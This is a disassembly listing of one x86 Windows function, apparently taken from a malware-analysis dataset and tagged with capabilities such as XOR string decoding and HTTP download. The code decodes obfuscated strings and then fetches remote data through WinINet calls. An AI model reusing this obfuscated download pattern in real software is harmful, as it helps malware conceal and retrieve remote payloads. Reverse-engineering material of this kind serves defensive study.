Function at 0x404870
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x158
push esi
mov dword [esp + 0x38], ecx
mov esi, str.HZXYW
push edi
mov ecx, 0x3a
mov dword [esp + 0xc], edx
lea edi, [esp + 0x78]
rep movsd dword es:[edi], dword [esi]
xor esi, esi
cmp dword [0x44b508], 2
lea ecx, [esi + 4]
lea edx, [esi + 0x1f]
jl 0x4049c2
movaps xmm4, xmmword [0x446860]
movaps xmm3, xmmword [0x446950]
movaps xmm6, xmmword [0x446880]
movd xmm5, ecx
movd xmm7, edx
nop dword [eax + eax]
movd xmm0, esi
lea eax, [esi + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x4468c0]
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x78]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [esp + esi*2 + 0x78], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x4468c0]
paddw xmm1, xmm0
movq xmm0, qword [esp + esi*2 + 0x80]
pxor xmm1, xmm0
movq qword [esp + esi*2 + 0x80], xmm1
add esi, 8
cmp esi, 0x70
jl 0x4048d0
cmp esi, 0x74
jge 0x4049e8
mov eax, 0x5397829d
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x31
sub ecx, eax
add ecx, 0x30
xor word [esp + esi*2 + 0x78], cx
inc esi
cmp esi, 0x74
jl 0x4049c2
lea ecx, [esp + 0x78]
mov dword [esp + 0x24], 0
mov dword [esp + 0x34], 0
lea edx, [ecx + 2]
mov dword [esp + 0x38], 7
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404a07
sub ecx, edx
lea eax, [esp + 0x78]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x2c]
call fcn.00403b90
cmp dword [esp + 0x38], 8
lea eax, [esp + 0x24]
push 0
cmovae eax, dword [esp + 0x28]
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edx, dword [esp + 0x38]
mov edi, eax
mov dword [esp + 0x14], edi
cmp edx, 8
jb 0x404a84
mov ecx, dword [esp + 0x24]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x404a7a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404ef2
push edx
push ecx
call fcn.0041c138
add esp, 8
xor eax, eax
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 7
mov word [esp + 0x24], ax
test edi, edi
jne 0x404c3e
lea eax, [esp + 0x24]
push eax
call fcn.00404f60
mov edi, eax
cmp byte [edi + 0x17], 0
je 0x404ef7
xor ecx, ecx
cmp dword [0x44b508], 2
mov dword [esp + 0xc], ecx
jl 0x404c10
movaps xmm0, xmmword [str.00000000000000005555555555555555]
mov eax, 4
movaps xmm4, xmmword [0x446860]
mov esi, 4
movaps xmm3, xmmword [0x446950]
xor edx, edx
movaps xmm6, xmmword [0x446880]
mov ecx, edi
movd xmm5, eax
sub esi, edi
mov eax, 0x1f
movaps xmmword [esp + 0x40], xmm0
movd xmm7, eax
mov eax, dword [esp + 0x40]
nop
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
lea eax, [esi + ecx]
lea ecx, [ecx + 8]
paddb xmm1, xmm0
movd xmm0, dword [ecx - 8]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ecx - 8], xmm1
paddd xmm2, xmm4
mov eax, dword [esp + 0x40]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ecx - 4]
pxor xmm1, xmm0
movd dword [ecx - 4], xmm1
cmp edx, 0x18
jl 0x404b10
jmp 0x404ef7
mov eax, 0x5397829d
lea esi, [ecx + edi]
mul ecx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x31
sub cl, al
add cl, 0x30
xor byte [esi], cl
mov ecx, dword [esp + 0xc]
inc ecx
mov dword [esp + 0xc], ecx
cmp ecx, 0x18
jge 0x404ef7
jmp 0x404c10
push 0
push 0x80000100
push 0
push 0
push dword [esp + 0x1c]
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x404e15
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [esp + 0x24]
push eax
call fcn.00404f90
mov edi, eax
cmp byte [edi + 0x12], 0
je 0x404f21
xor ecx, ecx
cmp dword [0x44b508], 2
mov dword [esp + 0xc], ecx
jl 0x404de0
movaps xmm0, xmmword [str.00000000000000005555555555555555]
mov eax, 4
movaps xmm4, xmmword [0x446860]
mov esi, 4
movaps xmm3, xmmword [0x446950]
mov edx, edi
movaps xmm6, xmmword [0x446880]
sub esi, edi
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [esp + 0x40], xmm0
movd xmm7, eax
mov eax, dword [esp + 0x40]
nop
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
lea eax, [esi + edx]
lea edx, [edx + 8]
paddb xmm1, xmm0
movd xmm0, dword [edx - 8]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [edx - 8], xmm1
paddd xmm2, xmm4
mov eax, dword [esp + 0x40]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4468f0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [edx - 4]
pxor xmm1, xmm0
movd dword [edx - 4], xmm1
cmp ecx, 0x10
jl 0x404cd0
mov dword [esp + 0xc], ecx
cmp ecx, 0x13
jge 0x404f21
nop word [eax + eax]
mov eax, 0x5397829d
lea esi, [ecx + edi]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x31
sub cl, al
add cl, 0x30
xor byte [esi], cl
mov ecx, dword [esp + 0xc]
inc ecx
mov dword [esp + 0xc], ecx
cmp ecx, 0x13
jge 0x404f21
jmp 0x404de0
sub esp, 8
mov dword [esp + 0x20], 0
lea ecx, [esp + 0x20]
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x18], 0
call fcn.00406120
mov edi, dword [esp + 0x3c]
lea eax, [esp + 0x10]
push eax
push 0x400
push dword [esp + 0x20]
mov dword [edi], 0
push esi
mov dword [edi + 4], 0
mov dword [edi + 8], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x404ea9
mov eax, dword [esp + 0x10]
test eax, eax
je 0x404ea9
push dword [esp + 0x14]
mov ecx, dword [esp + 0x1c]
add eax, ecx
push eax
push ecx
push dword [edi + 4]
mov ecx, edi
call fcn.00405e30
lea eax, [esp + 0x10]
push eax
push 0x400
push dword [esp + 0x20]
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x404e72
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [esp + 0x14]
call esi
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x404eea
mov edx, dword [esp + 0x20]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x404ee0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404f4b
push edx
push ecx
call fcn.0041c138
add esp, 8
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00421c52
push edi
lea ecx, [esp + 0x64]
call fcn.00403540
mov ecx, eax
call fcn.00403420
push eax
lea ecx, [esp + 0x58]
call fcn.00401590
push 0x448da8
lea eax, [esp + 0x58]
push eax
call fcn.0041d06b
push edi
lea ecx, [esp + 0x64]
call fcn.00403540
mov ecx, eax
call fcn.00403420
push eax
lea ecx, [esp + 0x58]
call fcn.00401590
push 0x448da8
lea eax, [esp + 0x58]
push eax
call fcn.0041d06b
call fcn.00421c52
int3